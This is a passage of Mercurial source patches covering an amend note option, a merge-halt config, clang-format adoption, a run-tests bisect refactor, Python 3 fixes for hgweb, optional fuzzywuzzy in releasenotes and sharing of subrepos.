+++ b/hgext/amend.py
@@ -33,6 +33,7 @@
       _('mark new/missing files as added/removed before committing')),
      ('e', 'edit', None, _('invoke editor on commit messages')),
      ('i', 'interactive', None, _('use interactive mode')),
+     ('n', 'note', '', _('store a note on the amend')),
     ] + cmdutil.walkopts + cmdutil.commitopts + cmdutil.commitopts2,
     _('[OPTION]... [FILE]...'),
     inferrepo=True)
diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -193,6 +193,14 @@
   |/
   o  0 426bada5c675 A
   
+Checking the note stored in the obsmarker
+
+  $ echo foo > bar
+  $ hg add bar
+  $ hg amend --note "adding bar"
+  $ hg debugobsolete -r .
+  112478962961147124edd43549aedd1a335e44bf be169c7e8dbe21cd10b3d79691cbe7f241e3c21c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  be169c7e8dbe21cd10b3d79691cbe7f241e3c21c 16084da537dd8f84cfdb3055c633772269d62e1b 0 (Thu Jan 01 00:00:00 1970 +0000) {'note': 'adding bar', 'operation': 'amend', 'user': 'test'}
 #endif
 
 Cannot amend public changeset
# HG changeset patch
# User Ryan McElroy <rmcelroy@fb.com>
# Date 1507297723 25200
#      Fri Oct 06 06:48:43 2017 -0700
# Node ID ed91846c29cf5a2a054286e36e1c3d9be9b10593
# Parent  530b7361e3a92ea8ae4776d5f5355758093c8d95
filemerge: introduce functions to halt merge flow

Depends on D931.

This patch introduces functions and a config option that will allow a user
to halt the merge if there are failures during a file merge. These functions
will be used in the next patch.

Differential Revision: https://phab.mercurial-scm.org/D932

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -531,6 +531,9 @@
 coreconfigitem('merge', 'followcopies',
     default=True,
 )
+coreconfigitem('merge', 'on-failure',
+    default='continue',
+)
 coreconfigitem('merge', 'preferancestor',
         default=lambda: ['*'],
 )
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -745,6 +745,20 @@
         if not r and back is not None:
             back.remove()
 
+def _haltmerge():
+    msg = _('merge halted after failed merge (see hg resolve)')
+    raise error.InterventionRequired(msg)
+
+def _onfilemergefailure(ui):
+    action = ui.config('merge', 'on-failure')
+    if action == 'prompt':
+        msg = _('continue merge operation (yn)?' '$$ &Yes $$ &No')
+        if ui.promptchoice(msg, 0) == 1:
+            _haltmerge()
+    if action == 'halt':
+        _haltmerge()
+    # default action is 'continue', in which case we neither prompt nor halt
+
 def _check(repo, r, ui, tool, fcd, files):
     fd = fcd.path()
     unused, unused, unused, back = files
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -1288,6 +1288,17 @@
    different contents. Similar to ``merge.checkignored``, except for files that
    are not ignored. (default: ``abort``)
 
+``on-failure``
+   When set to ``continue`` (the default), the merge process attempts to
+   merge all unresolved files using the merge chosen tool, regardless of
+   whether previous file merge attempts during the process succeeded or not.
+   Setting this to ``prompt`` will prompt after any merge failure continue
+   or halt the merge process. Setting this to ``halt`` will automatically
+   halt the merge process on any merge tool failure. The merge process
+   can be restarted by using the ``resolve`` command. When a merge is
+   halted, the repository is left in a normal ``unresolved`` merge state.
+   (default: ``continue``)
+
 ``merge-patterns``
 ------------------
 
# HG changeset patch
# User Ryan McElroy <rmcelroy@fb.com>
# Date 1507297723 25200
#      Fri Oct 06 06:48:43 2017 -0700
# Node ID 284fa44f7f39309f211457a7d130dbcb327ec80f
# Parent  ed91846c29cf5a2a054286e36e1c3d9be9b10593
merge: allow user to halt merge on merge-tool failures

Depends on D932.

Call the new _onfilemergefailure function when a merge tool reports failure
via a return code.

Differential Revision: https://phab.mercurial-scm.org/D951

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -739,6 +739,7 @@
         if r:
             if onfailure:
                 ui.warn(onfailure % fd)
+            _onfilemergefailure(ui)
 
         return True, r, deleted
     finally:
diff --git a/tests/test-merge-halt.t b/tests/test-merge-halt.t
--- a/tests/test-merge-halt.t
+++ b/tests/test-merge-halt.t
@@ -44,8 +44,7 @@
   merging a
   merging b
   merging a failed!
-  merging b failed!
-  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  merge halted after failed merge (see hg resolve)
   [1]
 
   $ hg resolve --list
@@ -65,8 +64,10 @@
   merging a
   merging b
   merging a failed!
+  continue merge operation (yn)? y
   merging b failed!
-  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  continue merge operation (yn)? n
+  merge halted after failed merge (see hg resolve)
   [1]
 
   $ hg resolve --list
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1422137065 18000
#      Sat Jan 24 17:04:25 2015 -0500
# Node ID e33381d95930b269df665f035c3d431705fcb6da
# Parent  284fa44f7f39309f211457a7d130dbcb327ec80f
clang-format: configuration for the clang-format source formatter

Differential Revision: https://phab.mercurial-scm.org/D1129

diff --git a/.clang-format b/.clang-format
new file mode 100644
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,8 @@
+BasedOnStyle: LLVM
+IndentWidth: 8
+UseTab: ForIndentation
+BreakBeforeBraces: Linux
+AllowShortIfStatementsOnASingleLine: false
+IndentCaseLabels: false
+AllowShortBlocksOnASingleLine: false
+AllowShortFunctionsOnASingleLine: false
diff --git a/tests/test-check-code.t b/tests/test-check-code.t
--- a/tests/test-check-code.t
+++ b/tests/test-check-code.t
@@ -39,6 +39,7 @@
 
   $ testrepohg files 'glob:*'
   .arcconfig
+  .clang-format
   .editorconfig
   .hgignore
   .hgsigs
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508168621 14400
#      Mon Oct 16 11:43:41 2017 -0400
# Node ID 0b46352384a094aa396cdfb38eec13e381437c3c
# Parent  e33381d95930b269df665f035c3d431705fcb6da
contrib: remove check-code rule about indentation

We're moving towards a clang-format world, and clang-format is able to
wrap argument lists with spaces reliably, while still enforcing tabs
globally. Let's let clang-format do its job, and not do as much
C-style enforcement with regular expressions.

Differential Revision: https://phab.mercurial-scm.org/D1130

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -429,7 +429,6 @@
 cpats = [
   [
     (r'//', "don't use //-style comments"),
-    (r'^  ', "don't use spaces to indent"),
     (r'\S\t', "don't use tabs except for indent"),
     (r'(\S[ \t]+|^[ \t]+)\n', "trailing whitespace"),
     (r'.{81}', "line too long"),
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128993 14400
#      Wed Oct 04 10:56:33 2017 -0400
# Node ID 761355833867166efd3c7a637e5e1478ddc48fc8
# Parent  0b46352384a094aa396cdfb38eec13e381437c3c
mpatch: reformat function prototypes with clang-format

Differential Revision: https://phab.mercurial-scm.org/D1131

diff --git a/mercurial/mpatch.c b/mercurial/mpatch.c
--- a/mercurial/mpatch.c
+++ b/mercurial/mpatch.c
@@ -64,7 +64,7 @@
    for changes in offset. the last hunk may be split if necessary.
 */
 static int gather(struct mpatch_flist *dest, struct mpatch_flist *src, int cut,
-	int offset)
+                  int offset)
 {
 	struct mpatch_frag *d = dest->tail, *s = src->head;
 	int postend, c, l;
@@ -145,7 +145,7 @@
 /* combine hunk lists a and b, while adjusting b for offset changes in a/
    this deletes a and b and returns the resultant list. */
 static struct mpatch_flist *combine(struct mpatch_flist *a,
-	struct mpatch_flist *b)
+                                    struct mpatch_flist *b)
 {
 	struct mpatch_flist *c = NULL;
 	struct mpatch_frag *bh, *ct;
@@ -239,7 +239,7 @@
 }
 
 int mpatch_apply(char *buf, const char *orig, ssize_t len,
-	struct mpatch_flist *l)
+                 struct mpatch_flist *l)
 {
 	struct mpatch_frag *f = l->head;
 	int last = 0;
@@ -261,9 +261,9 @@
 }
 
 /* recursively generate a patch of all bins between start and end */
-struct mpatch_flist *mpatch_fold(void *bins,
-	struct mpatch_flist* (*get_next_item)(void*, ssize_t),
-	ssize_t start, ssize_t end)
+struct mpatch_flist *
+mpatch_fold(void *bins, struct mpatch_flist *(*get_next_item)(void *, ssize_t),
+            ssize_t start, ssize_t end)
 {
 	ssize_t len;
 
diff --git a/mercurial/mpatch.h b/mercurial/mpatch.h
--- a/mercurial/mpatch.h
+++ b/mercurial/mpatch.h
@@ -14,13 +14,13 @@
 	struct mpatch_frag *base, *head, *tail;
 };
 
-int mpatch_decode(const char *bin, ssize_t len, struct mpatch_flist** res);
+int mpatch_decode(const char *bin, ssize_t len, struct mpatch_flist **res);
 ssize_t mpatch_calcsize(ssize_t len, struct mpatch_flist *l);
 void mpatch_lfree(struct mpatch_flist *a);
 int mpatch_apply(char *buf, const char *orig, ssize_t len,
-	struct mpatch_flist *l);
-struct mpatch_flist *mpatch_fold(void *bins,
-	struct mpatch_flist* (*get_next_item)(void*, ssize_t),
-	ssize_t start, ssize_t end);
+                 struct mpatch_flist *l);
+struct mpatch_flist *
+mpatch_fold(void *bins, struct mpatch_flist *(*get_next_item)(void *, ssize_t),
+            ssize_t start, ssize_t end);
 
 #endif
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507129204 14400
#      Wed Oct 04 11:00:04 2017 -0400
# Node ID 1f4249c764f1155bd0c5e844318031742bd21d5a
# Parent  761355833867166efd3c7a637e5e1478ddc48fc8
mpatch: switch alignment of wrapped line from tab to spaces with clang-format

I may be a weird person for liking this style, but our C style is
historically nominally the Linux Kernel style, and when you configure
clang-format to be kernel-ish, this is what you get. If we want to
change it, we can do so by tweaking the formatter rules in the future.

Differential Revision: https://phab.mercurial-scm.org/D1132

diff --git a/mercurial/mpatch.c b/mercurial/mpatch.c
--- a/mercurial/mpatch.c
+++ b/mercurial/mpatch.c
@@ -275,5 +275,5 @@
 	/* divide and conquer, memory management is elsewhere */
 	len = (end - start) / 2;
 	return combine(mpatch_fold(bins, get_next_item, start, start + len),
-		       mpatch_fold(bins, get_next_item, start + len, end));
+	               mpatch_fold(bins, get_next_item, start + len, end));
 }
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507167744 25200
#      Wed Oct 04 18:42:24 2017 -0700
# Node ID 9c7548eb7d1cbc07cb1bcc45300f4f8e0a321d15
# Parent  1f4249c764f1155bd0c5e844318031742bd21d5a
run-tests: move bisect logic to a separate method

This removes 8 space indentation and makes upcoming changes easier.

Differential Revision: https://phab.mercurial-scm.org/D947

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2085,47 +2085,7 @@
             savetimes(self._runner._outputdir, result)
 
             if failed and self._runner.options.known_good_rev:
-                bisectcmd = ['hg', 'bisect']
-                bisectrepo = self._runner.options.bisect_repo
-                if bisectrepo:
-                    bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
-                def nooutput(args):
-                    p = subprocess.Popen(args, stderr=subprocess.STDOUT,
-                                         stdout=subprocess.PIPE)
-                    p.stdout.read()
-                    p.wait()
-                for test, msg in result.failures:
-                    nooutput(bisectcmd + ['--reset']),
-                    nooutput(bisectcmd + ['--bad', '.'])
-                    nooutput(bisectcmd + ['--good',
-                              self._runner.options.known_good_rev])
-                    # TODO: we probably need to forward more options
-                    # that alter hg's behavior inside the tests.
-                    opts = ''
-                    withhg = self._runner.options.with_hg
-                    if withhg:
-                        opts += ' --with-hg=%s ' % shellquote(_strpath(withhg))
-                    rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
-                                           test)
-                    sub = subprocess.Popen(bisectcmd + ['--command', rtc],
-                                           stderr=subprocess.STDOUT,
-                                           stdout=subprocess.PIPE)
-                    data = sub.stdout.read()
-                    sub.wait()
-                    m = re.search(
-                        (br'\nThe first (?P<goodbad>bad|good) revision '
-                         br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
-                         br'summary: +(?P<summary>[^\n]+)\n'),
-                        data, (re.MULTILINE | re.DOTALL))
-                    if m is None:
-                        self.stream.writeln(
-                            'Failed to identify failure point for %s' % test)
-                        continue
-                    dat = m.groupdict()
-                    verb = 'broken' if dat['goodbad'] == 'bad' else 'fixed'
-                    self.stream.writeln(
-                        '%s %s by %s (%s)' % (
-                            test, verb, dat['node'], dat['summary']))
+                self._bisecttests(t for t, m in result.failures)
             self.stream.writeln(
                 '# Ran %d tests, %d skipped, %d failed.'
                 % (result.testsRun, skipped + ignored, failed))
@@ -2138,6 +2098,49 @@
 
         return result
 
+    def _bisecttests(self, tests):
+        bisectcmd = ['hg', 'bisect']
+        bisectrepo = self._runner.options.bisect_repo
+        if bisectrepo:
+            bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
+        def nooutput(args):
+            p = subprocess.Popen(args, stderr=subprocess.STDOUT,
+                                 stdout=subprocess.PIPE)
+            p.stdout.read()
+            p.wait()
+        for test in tests:
+            nooutput(bisectcmd + ['--reset']),
+            nooutput(bisectcmd + ['--bad', '.'])
+            nooutput(bisectcmd + ['--good',
+                      self._runner.options.known_good_rev])
+            # TODO: we probably need to forward more options
+            # that alter hg's behavior inside the tests.
+            opts = ''
+            withhg = self._runner.options.with_hg
+            if withhg:
+                opts += ' --with-hg=%s ' % shellquote(_strpath(withhg))
+            rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
+                                   test)
+            sub = subprocess.Popen(bisectcmd + ['--command', rtc],
+                                   stderr=subprocess.STDOUT,
+                                   stdout=subprocess.PIPE)
+            data = sub.stdout.read()
+            sub.wait()
+            m = re.search(
+                (br'\nThe first (?P<goodbad>bad|good) revision '
+                 br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
+                 br'summary: +(?P<summary>[^\n]+)\n'),
+                data, (re.MULTILINE | re.DOTALL))
+            if m is None:
+                self.stream.writeln(
+                    'Failed to identify failure point for %s' % test)
+                continue
+            dat = m.groupdict()
+            verb = 'broken' if dat['goodbad'] == 'bad' else 'fixed'
+            self.stream.writeln(
+                '%s %s by %s (%s)' % (
+                    test, verb, dat['node'], dat['summary']))
+
     def printtimes(self, times):
         # iolock held by run
         self.stream.writeln('# Producing time report')
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507168218 25200
#      Wed Oct 04 18:50:18 2017 -0700
# Node ID d817bf1fc675c0dea379641768b3f5b95f8dedf4
# Parent  9c7548eb7d1cbc07cb1bcc45300f4f8e0a321d15
run-tests: extract Popen logic to a single method

This removes 3 lines in total LOC and makes the upcoming changes easier.

Differential Revision: https://phab.mercurial-scm.org/D948

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2103,16 +2103,16 @@
         bisectrepo = self._runner.options.bisect_repo
         if bisectrepo:
             bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
-        def nooutput(args):
+        def pread(args):
             p = subprocess.Popen(args, stderr=subprocess.STDOUT,
                                  stdout=subprocess.PIPE)
-            p.stdout.read()
+            data = p.stdout.read()
             p.wait()
+            return data
         for test in tests:
-            nooutput(bisectcmd + ['--reset']),
-            nooutput(bisectcmd + ['--bad', '.'])
-            nooutput(bisectcmd + ['--good',
-                      self._runner.options.known_good_rev])
+            pread(bisectcmd + ['--reset']),
+            pread(bisectcmd + ['--bad', '.'])
+            pread(bisectcmd + ['--good', self._runner.options.known_good_rev])
             # TODO: we probably need to forward more options
             # that alter hg's behavior inside the tests.
             opts = ''
@@ -2121,11 +2121,7 @@
                 opts += ' --with-hg=%s ' % shellquote(_strpath(withhg))
             rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
                                    test)
-            sub = subprocess.Popen(bisectcmd + ['--command', rtc],
-                                   stderr=subprocess.STDOUT,
-                                   stdout=subprocess.PIPE)
-            data = sub.stdout.read()
-            sub.wait()
+            data = pread(bisectcmd + ['--command', rtc])
             m = re.search(
                 (br'\nThe first (?P<goodbad>bad|good) revision '
                  br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507168281 25200
#      Wed Oct 04 18:51:21 2017 -0700
# Node ID 149109c969049422bf0460f4dc3326561e5c3758
# Parent  d817bf1fc675c0dea379641768b3f5b95f8dedf4
run-tests: set HGPLAIN=1 when bisecting

Otherwise a customized template may break the regex matching the bisect
output.

Differential Revision: https://phab.mercurial-scm.org/D949

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2104,8 +2104,10 @@
         if bisectrepo:
             bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
         def pread(args):
+            env = os.environ.copy()
+            env['HGPLAIN'] = '1'
             p = subprocess.Popen(args, stderr=subprocess.STDOUT,
-                                 stdout=subprocess.PIPE)
+                                 stdout=subprocess.PIPE, env=env)
             data = p.stdout.read()
             p.wait()
             return data
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508173096 -7200
#      Mon Oct 16 18:58:16 2017 +0200
# Node ID c4a0480d1951f26ffd6066021b075f2788aa4f22
# Parent  149109c969049422bf0460f4dc3326561e5c3758
config: simplify aliasing commands.update.check

experimental.updatecheck was renamed into commands.update.check, use the
config system to provides the fallback on the old config name instead of
adding more code.

Differential Revision: https://phab.mercurial-scm.org/D1117

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -181,6 +181,8 @@
 )
 coreconfigitem('commands', 'update.check',
     default=None,
+    # Deprecated, remove after 4.4 release
+    alias=[('experimental', 'updatecheck')]
 )
 coreconfigitem('commands', 'update.requiredest',
     default=False,
@@ -412,10 +414,6 @@
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
-# Deprecated, remove after 4.4 release
-coreconfigitem('experimental', 'updatecheck',
-    default=None,
-)
 coreconfigitem('extensions', '.*',
     default=None,
     generic=True,
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -758,9 +758,6 @@
     """
     if updatecheck is None:
         updatecheck = ui.config('commands', 'update.check')
-        if updatecheck is None:
-            # pre-4.4 compat on the old spelling of this config item
-            updatecheck = ui.config('experimental', 'updatecheck')
         if updatecheck not in ('abort', 'none', 'linear', 'noconflict'):
             # If not configured, or invalid value configured
             updatecheck = 'linear'
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508208199 14400
#      Mon Oct 16 22:43:19 2017 -0400
# Node ID afd7fd950f6e6f0cfe6854ce5d254e634f13013e
# Parent  c4a0480d1951f26ffd6066021b075f2788aa4f22
hgweb: correct an earlier error of mine - `start` should be bytes

Gets hgweb very close to working with Python 3.

Differential Revision: https://phab.mercurial-scm.org/D1134

diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -187,7 +187,7 @@
         if style == styles[0]:
             vars['style'] = style
 
-        start = r'&' if req.url[-1] == r'?' else r'?'
+        start = '&' if req.url[-1] == r'?' else '?'
         sessionvars = webutil.sessionvars(vars, start)
 
         if not self.reponame:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508208246 14400
#      Mon Oct 16 22:44:06 2017 -0400
# Node ID 3caec3c032c893200d7116979a809d99dec1430b
# Parent  afd7fd950f6e6f0cfe6854ce5d254e634f13013e
webutil: use pycompat.bytestr() instead of str()

Stops us from choking the templater on Python 3. With this patch
applied, much of hgweb works correctly in Python 3. The notable
exception is the graph page, which chokes because it gets node IDs as
str instead of bytes.

Differential Revision: https://phab.mercurial-scm.org/D1135

diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
+++ b/mercurial/hgweb/webutil.py
@@ -30,6 +30,7 @@
     mdiff,
     patch,
     pathutil,
+    pycompat,
     templatefilters,
     ui as uimod,
     util,
@@ -589,7 +590,10 @@
     def __iter__(self):
         separator = self.start
         for key, value in sorted(self.vars.iteritems()):
-            yield {'name': key, 'value': str(value), 'separator': separator}
+            yield {'name': key,
+                   'value': pycompat.bytestr(value),
+                   'separator': separator,
+            }
             separator = '&'
 
 class wsgiui(uimod.ui):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508208639 14400
#      Mon Oct 16 22:50:39 2017 -0400
# Node ID e87e62b7fc0bf6debd4db89e3a902eafb97dcb98
# Parent  3caec3c032c893200d7116979a809d99dec1430b
templater: don't blow up when trying to build an abort message

__name__ is unicode, but we need bytes. For now, we'll make the
(mostly-safe) assumption that template filter names will be ascii.

Differential Revision: https://phab.mercurial-scm.org/D1137

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -427,7 +427,7 @@
         sym = findsymbolicname(arg)
         if sym:
             msg = (_("template filter '%s' is not compatible with keyword '%s'")
-                   % (filt.__name__, sym))
+                   % (filt.__name__.encode('ascii'), sym))
         else:
             msg = _("incompatible use of template filter '%s'") % filt.__name__
         raise error.Abort(msg)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508208718 14400
#      Mon Oct 16 22:51:58 2017 -0400
# Node ID 3a65012be66152bdccb81568d27a8b7c5fd1468b
# Parent  e87e62b7fc0bf6debd4db89e3a902eafb97dcb98
webcommands: replace str(ctx) etc with pycompat.bytestr(ctx) etc

hgweb can now serve the graph view in Python 3.

Differential Revision: https://phab.mercurial-scm.org/D1138

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -31,6 +31,7 @@
     encoding,
     error,
     graphmod,
+    pycompat,
     revset,
     revsetlang,
     scmutil,
@@ -1247,7 +1248,7 @@
         for (id, type, ctx, vtx, edges) in tree:
             if type != graphmod.CHANGESET:
                 continue
-            node = str(ctx)
+            node = pycompat.bytestr(ctx)
             age = encodestr(templatefilters.age(ctx.date()))
             desc = templatefilters.firstline(encodestr(ctx.description()))
             desc = url.escape(templatefilters.nonempty(desc))
@@ -1303,7 +1304,7 @@
                 canvasheight=canvasheight, bg_height=bg_height,
                 # {jsdata} will be passed to |json, so it must be in utf-8
                 jsdata=lambda **x: graphdata(True, encoding.fromlocal),
-                nodes=lambda **x: graphdata(False, str),
+                nodes=lambda **x: graphdata(False, pycompat.bytestr),
                 node=ctx.hex(), changenav=changenav)
 
 def _getdoc(e):
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508079556 -19800
#      Sun Oct 15 20:29:16 2017 +0530
# Node ID 44bd29168d14e4b7048293c48d713504b78bc6b7
# Parent  3a65012be66152bdccb81568d27a8b7c5fd1468b
releasenotes: make the import of fuzzywuzzy optional

If fuzzywuzzy is note present, we will not be having the capability to merge
existing releasenotes with the new releasenotes on the similarity basis.
The merging will still work good for exact same releasenotes entries.

Differential Revision: https://phab.mercurial-scm.org/D1096

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -218,7 +218,12 @@
     """
     Returns false when note fragment can be merged to existing notes.
     """
-    import fuzzywuzzy.fuzz as fuzz
+    try:
+        import fuzzywuzzy.fuzz as fuzz
+        fuzz.token_set_ratio
+    except ImportError:
+        return True
+
     merge = True
     for bullet in existingnotes:
         score = fuzz.token_set_ratio(incoming_str, bullet)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508079704 -19800
#      Sun Oct 15 20:31:44 2017 +0530
# Node ID a542ad320adb4627d4ec4751e9a23aa993b5ac09
# Parent  44bd29168d14e4b7048293c48d713504b78bc6b7
releasenotes: don't abort is there is a bad formatted entry for releasenotes

While producing releasenotes for (4.3::), releasenotes aborts with error because
of some bad formatting of releasenotes in some commits. Instead of aborting,
this adds warning message which will help us in skipping them and telling user
about it.

Differential Revision: https://phab.mercurial-scm.org/D1097

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -24,6 +24,7 @@
     config,
     error,
     minirst,
+    node,
     registrar,
     scmutil,
     util,
@@ -325,9 +326,8 @@
 
             # TODO consider using title as paragraph for more concise notes.
             if not paragraphs:
-                raise error.Abort(_('could not find content for release note '
-                                    '%s') % directive)
-
+                repo.ui.warn(_("error parsing releasenotes for revision: "
+                               "'%s'\n") % node.hex(ctx.node()))
             if title:
                 notes.addtitleditem(directive, title, paragraphs)
             else:
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508174171 -19800
#      Mon Oct 16 22:46:11 2017 +0530
# Node ID bc2caa4b4480a6ec3b14ac8eddc06b5fd52d1fa8
# Parent  a542ad320adb4627d4ec4751e9a23aa993b5ac09
releasenotes: move import of fuzzywuzzy to import level

This will help us in determining easily that whether fuzzywuzzy is loaded or not
loaded in any of the function.

Differential Revision: https://phab.mercurial-scm.org/D1120

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -33,6 +33,12 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+try:
+    import fuzzywuzzy.fuzz as fuzz
+    fuzz.token_set_ratio
+except ImportError:
+    fuzz = None
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -219,10 +225,8 @@
     """
     Returns false when note fragment can be merged to existing notes.
     """
-    try:
-        import fuzzywuzzy.fuzz as fuzz
-        fuzz.token_set_ratio
-    except ImportError:
+    # fuzzywuzzy not present
+    if not fuzz:
         return True
 
     merge = True
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508174197 -19800
#      Mon Oct 16 22:46:37 2017 +0530
# Node ID 288fad8c55f9c59ecdb32cdd5c1d085a85fe43f0
# Parent  bc2caa4b4480a6ec3b14ac8eddc06b5fd52d1fa8
releasenotes: show a warning if fuzzywuzzy is not present

Differential Revision: https://phab.mercurial-scm.org/D1121

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -100,6 +100,10 @@
 
         This is used to combine multiple sources of release notes together.
         """
+        if not fuzz:
+            ui.warn(_("module 'fuzzywuzzy' not found, merging of similar "
+                      "releasenotes is disabled\n"))
+
         for section in other:
             existingnotes = converttitled(self.titledforsection(section)) + \
                 convertnontitled(self.nontitledforsection(section))
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1508101054 14400
#      Sun Oct 15 16:57:34 2017 -0400
# Node ID 2d49d2eb1ff21a93eb82044591a23ec4906fa551
# Parent  288fad8c55f9c59ecdb32cdd5c1d085a85fe43f0
tests: update output for no-symlink platforms

This goes with eb586ed5d8ce.

diff --git a/tests/test-no-symlinks.t b/tests/test-no-symlinks.t
--- a/tests/test-no-symlinks.t
+++ b/tests/test-no-symlinks.t
@@ -48,6 +48,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 6 changes to 6 files
+  new changesets d326ae2d01ee:71d85cf3ba90
   (run 'hg update' to get a working copy)
   $ hg update
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1508122082 14400
#      Sun Oct 15 22:48:02 2017 -0400
# Node ID 68e0bcb903572cb3641c1b1ac11bdcf47d4ff5ac
# Parent  2d49d2eb1ff21a93eb82044591a23ec4906fa551
subrepo: share instead of clone if the parent repo is shared (issue5675) (BC)

Previously, only the top level repo was shared, and then any subrepos were
cloned on demand.  This is problematic because commits to the parent repo would
write an updated .hgsubstate to the share source, but the corresponding subrepo
commit would be stuck in the local subrepo.  That would prevent an update in the
source repo.  We already go to great lengths to avoid having inconsistent repos
(e.g., `hg push -r rev` will push _everything_ in a subrepo, even if it isn't
referenced in one of the parent's outgoing commits).  Therefore, this seems like
a bug fix, and there's no option to get the old behavior.  I can't imagine the
previous behavior was useful to anybody.

There shouldn't be an issue with svn, since it is centralized.  Maybe --git-dir
can be used for git subrepos, but I'll leave that to someone more familiar with
git.

An integer was previously being implicitly returned from commands.share(), which
caused dispatch() to start crashing when changing over to returning the shared
repo.  All error paths appear to raise, so this can be hardcoded to success.
The clone command checks for 'is None' in a similar pattern, but since
hg.clone() always returns a tuple, that seems wrong?

.. fix:: Issue 5675

   Creating a share of a repository with a Mercurial subrepository will now
   share the subrepository.

and

.. bc::

   Mercurial subrepositories are now shared instead of cloned when the parent
   repository is shared.  This prevents dangling subrepository references in the
   share source.  Previously shared repositories with cloned subrepositories
   will continue to function unchanged.

diff --git a/hgext/share.py b/hgext/share.py
--- a/hgext/share.py
+++ b/hgext/share.py
@@ -100,8 +100,9 @@
        the broken clone to reset it to a changeset that still exists.
     """
 
-    return hg.share(ui, source, dest=dest, update=not noupdate,
-                    bookmarks=bookmarks, relative=relative)
+    hg.share(ui, source, dest=dest, update=not noupdate,
+             bookmarks=bookmarks, relative=relative)
+    return 0
 
 @command('unshare', [], '')
 def unshare(ui, repo):
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -255,6 +255,7 @@
     r = repository(ui, destwvfs.base)
     postshare(srcrepo, r, bookmarks=bookmarks, defaultpath=defaultpath)
     _postshareupdate(r, update, checkout=checkout)
+    return r
 
